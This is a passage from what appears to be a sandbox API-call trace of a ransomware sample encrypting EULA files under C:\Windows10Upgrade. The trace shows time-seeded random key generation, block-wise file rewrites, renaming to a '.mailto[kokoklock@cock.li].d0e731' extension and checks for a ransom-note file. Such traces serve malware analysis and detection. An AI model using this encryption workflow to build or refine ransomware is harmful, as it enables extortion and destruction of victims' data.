(in: hFile=0x448, lpBuffer=0x3491ee8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x23fbfc28, lpOverlapped=0x0 | out: lpBuffer=0x3491ee8*, lpNumberOfBytesWritten=0x23fbfc28*=0x8, lpOverlapped=0x0) returned 1 [0080.122] WriteFile (in: hFile=0x448, lpBuffer=0x23fbfc40*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23fbfc28, lpOverlapped=0x0 | out: lpBuffer=0x23fbfc40*, lpNumberOfBytesWritten=0x23fbfc28*=0x4, lpOverlapped=0x0) returned 1 [0080.122] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23fbfc28, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x23fbfc28*=0x4, lpOverlapped=0x0) returned 1 [0080.122] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x23fbfc28, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x23fbfc28*=0x6c, lpOverlapped=0x0) returned 1 [0080.122] WriteFile (in: hFile=0x448, lpBuffer=0x3491da8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23fbfc28, lpOverlapped=0x0 | out: lpBuffer=0x3491da8*, lpNumberOfBytesWritten=0x23fbfc28*=0x20, lpOverlapped=0x0) returned 1 [0080.122] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23fbfc28, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x23fbfc28*=0x4, lpOverlapped=0x0) returned 1 [0080.122] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491da8) returned 1 [0080.122] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ec0) returned 1 [0080.122] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ee8) returned 1 [0080.122] CloseHandle (hObject=0x448) returned 1 [0080.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.122] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" [0080.122] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731" [0080.122] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.123] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.123] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.123] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm", dwFileAttributes=0x20) returned 0 [0080.123] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.123] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.123] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.124] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0080.124] RtlExitUserThread (Status=0x1) Thread: id = 998 os_tid = 0x169c [0080.125] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm")) returned 0x20 [0080.125] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm", dwFileAttributes=0x20) returned 1 [0080.125] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0080.125] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2403fc54 | out: lpFileSize=0x2403fc54*=70461) returned 1 [0080.125] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x11339, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.125] ReadFile (in: hFile=0x448, lpBuffer=0x2403fc28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2403fc24, lpOverlapped=0x0 | out: lpBuffer=0x2403fc28*, lpNumberOfBytesRead=0x2403fc24*=0x4, lpOverlapped=0x0) returned 1 [0080.127] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.127] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0080.127] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491da8 [0080.127] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491ec0 [0080.127] NtQuerySystemTime (in: CurrentTime=0x2403fc00 | out: CurrentTime=0x2403fc00*=132121176380155680) returned 0x0 [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0xc8da3a08 [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x358e1de5 [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x6578e606 [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0xc25a43ce [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0xa11f2086 [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0xd557105c [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0xaf4a1c44 [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x7578f80f [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x8373e2d9 [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x5f6c005c [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x50a2fdbf [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x6858554a [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x1a16ccec [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x78002f80 [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x52d72a9b [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x31001fb6 [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0xb0274a46 [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x13a00ea7 [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x96ebad5d [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x12943ef5 [0080.127] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x8dc5e543 [0080.128] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x6b8b43a0 [0080.128] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0xb763c01f [0080.128] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x7da4cb09 [0080.128] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x4030ec7d [0080.128] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0xd80beca [0080.128] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0xecdb1f0b [0080.128] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x4ab251b5 [0080.128] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0xf0d68b1 [0080.128] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x5b5fe975 [0080.128] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0x320cd976 [0080.128] RtlRandom (in: Seed=0x2403fc0c | out: Seed=0x2403fc0c) returned 0xe7d602a9 [0080.139] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.139] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0080.139] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.139] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.139] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2403fbd8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2403fbd8*=0x4096, lpOverlapped=0x0) returned 1 [0080.140] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0080.140] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0080.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0080.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492230 [0080.140] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492230) returned 1 [0080.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.141] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2403fbd8, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2403fbd8*=0x4096, lpOverlapped=0x0) returned 1 [0080.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.141] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x1133d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.141] WriteFile (in: hFile=0x448, lpBuffer=0x3492028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2403fc10, lpOverlapped=0x0 | out: lpBuffer=0x3492028*, lpNumberOfBytesWritten=0x2403fc10*=0x20, lpOverlapped=0x0) returned 1 [0080.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0080.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.141] WriteFile (in: hFile=0x448, lpBuffer=0x3492280*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2403fc24, lpOverlapped=0x0 | out: lpBuffer=0x3492280*, lpNumberOfBytesWritten=0x2403fc24*=0x8, lpOverlapped=0x0) returned 1 [0080.141] WriteFile (in: hFile=0x448, lpBuffer=0x2403fc3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2403fc24, lpOverlapped=0x0 | out: lpBuffer=0x2403fc3c*, lpNumberOfBytesWritten=0x2403fc24*=0x4, lpOverlapped=0x0) returned 1 [0080.141] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2403fc24, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2403fc24*=0x4, lpOverlapped=0x0) returned 1 [0080.141] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2403fc24, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2403fc24*=0x6c, lpOverlapped=0x0) returned 1 [0080.141] WriteFile (in: hFile=0x448, lpBuffer=0x3491da8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2403fc24, lpOverlapped=0x0 | out: lpBuffer=0x3491da8*, lpNumberOfBytesWritten=0x2403fc24*=0x20, lpOverlapped=0x0) returned 1 [0080.142] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2403fc24, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2403fc24*=0x4, lpOverlapped=0x0) returned 1 [0080.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491da8) returned 1 [0080.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ee8) returned 1 [0080.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492280) returned 1 [0080.142] CloseHandle (hObject=0x448) returned 1 [0080.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.142] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" [0080.142] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731" [0080.142] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.143] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.143] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm", dwFileAttributes=0x20) returned 0 [0080.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.143] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.143] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.143] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0080.143] RtlExitUserThread (Status=0x1) Thread: id = 999 os_tid = 0x16a0 [0080.144] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm")) returned 0x20 [0080.144] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm", dwFileAttributes=0x20) returned 1 [0080.144] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0080.145] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x240bfd8c | out: lpFileSize=0x240bfd8c*=239446) returned 1 [0080.145] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x3a752, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.145] ReadFile (in: hFile=0x448, lpBuffer=0x240bfd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x240bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x240bfd60*, lpNumberOfBytesRead=0x240bfd5c*=0x4, lpOverlapped=0x0) returned 1 [0080.147] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.147] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492280 [0080.147] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492258 [0080.147] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34922a8 [0080.147] NtQuerySystemTime (in: CurrentTime=0x240bfd38 | out: CurrentTime=0x240bfd38*=132121176380484496) returned 0x0 [0080.147] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xb798fa7 [0080.147] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xe9c2f8f0 [0080.147] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xa62e19f2 [0080.147] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xf637038e [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x33462fb0 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xe599a0dd [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x855ef8a6 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x6438d6f0 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xcd189801 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x432c372b [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x9ea21fa9 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x61202140 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xe7e7ef3 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x8d500507 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xb2e1050a [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x103cca67 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xb3469228 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xd38d94b1 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x5d2753e6 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x57ba36dd [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xf4eb8ae0 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xb6ecf328 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xc5a880a0 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x303336f [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x8c0f622b [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0xaf173010 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x34b27428 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x9b166d68 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x3569333c [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x398b9c33 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x563f2219 [0080.148] RtlRandom (in: Seed=0x240bfd44 | out: Seed=0x240bfd44) returned 0x23fd4340 [0080.161] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492280) returned 1 [0080.162] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.162] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.162] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x240bfcf8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x240bfcf8*=0x4096, lpOverlapped=0x0) returned 1 [0080.163] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.163] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.163] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.163] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492280 [0080.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492280) returned 1 [0080.163] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.163] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492280 [0080.163] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491448 [0080.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.163] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x240bfcf8, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x240bfcf8*=0x4096, lpOverlapped=0x0) returned 1 [0080.164] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.164] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x204b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.164] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x240bfcf8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x240bfcf8*=0x4096, lpOverlapped=0x0) returned 1 [0080.165] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x204b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.165] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0080.165] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0080.165] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34916c8 [0080.165] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34916c8) returned 1 [0080.165] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.165] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491678 [0080.165] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491470 [0080.165] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491470) returned 1 [0080.166] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.166] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0080.166] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x240bfcf8, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x240bfcf8*=0x4096, lpOverlapped=0x0) returned 1 [0080.166] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.166] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x366c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.166] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x240bfcf8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x240bfcf8*=0x4096, lpOverlapped=0x0) returned 1 [0080.167] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x366c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.167] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0080.167] 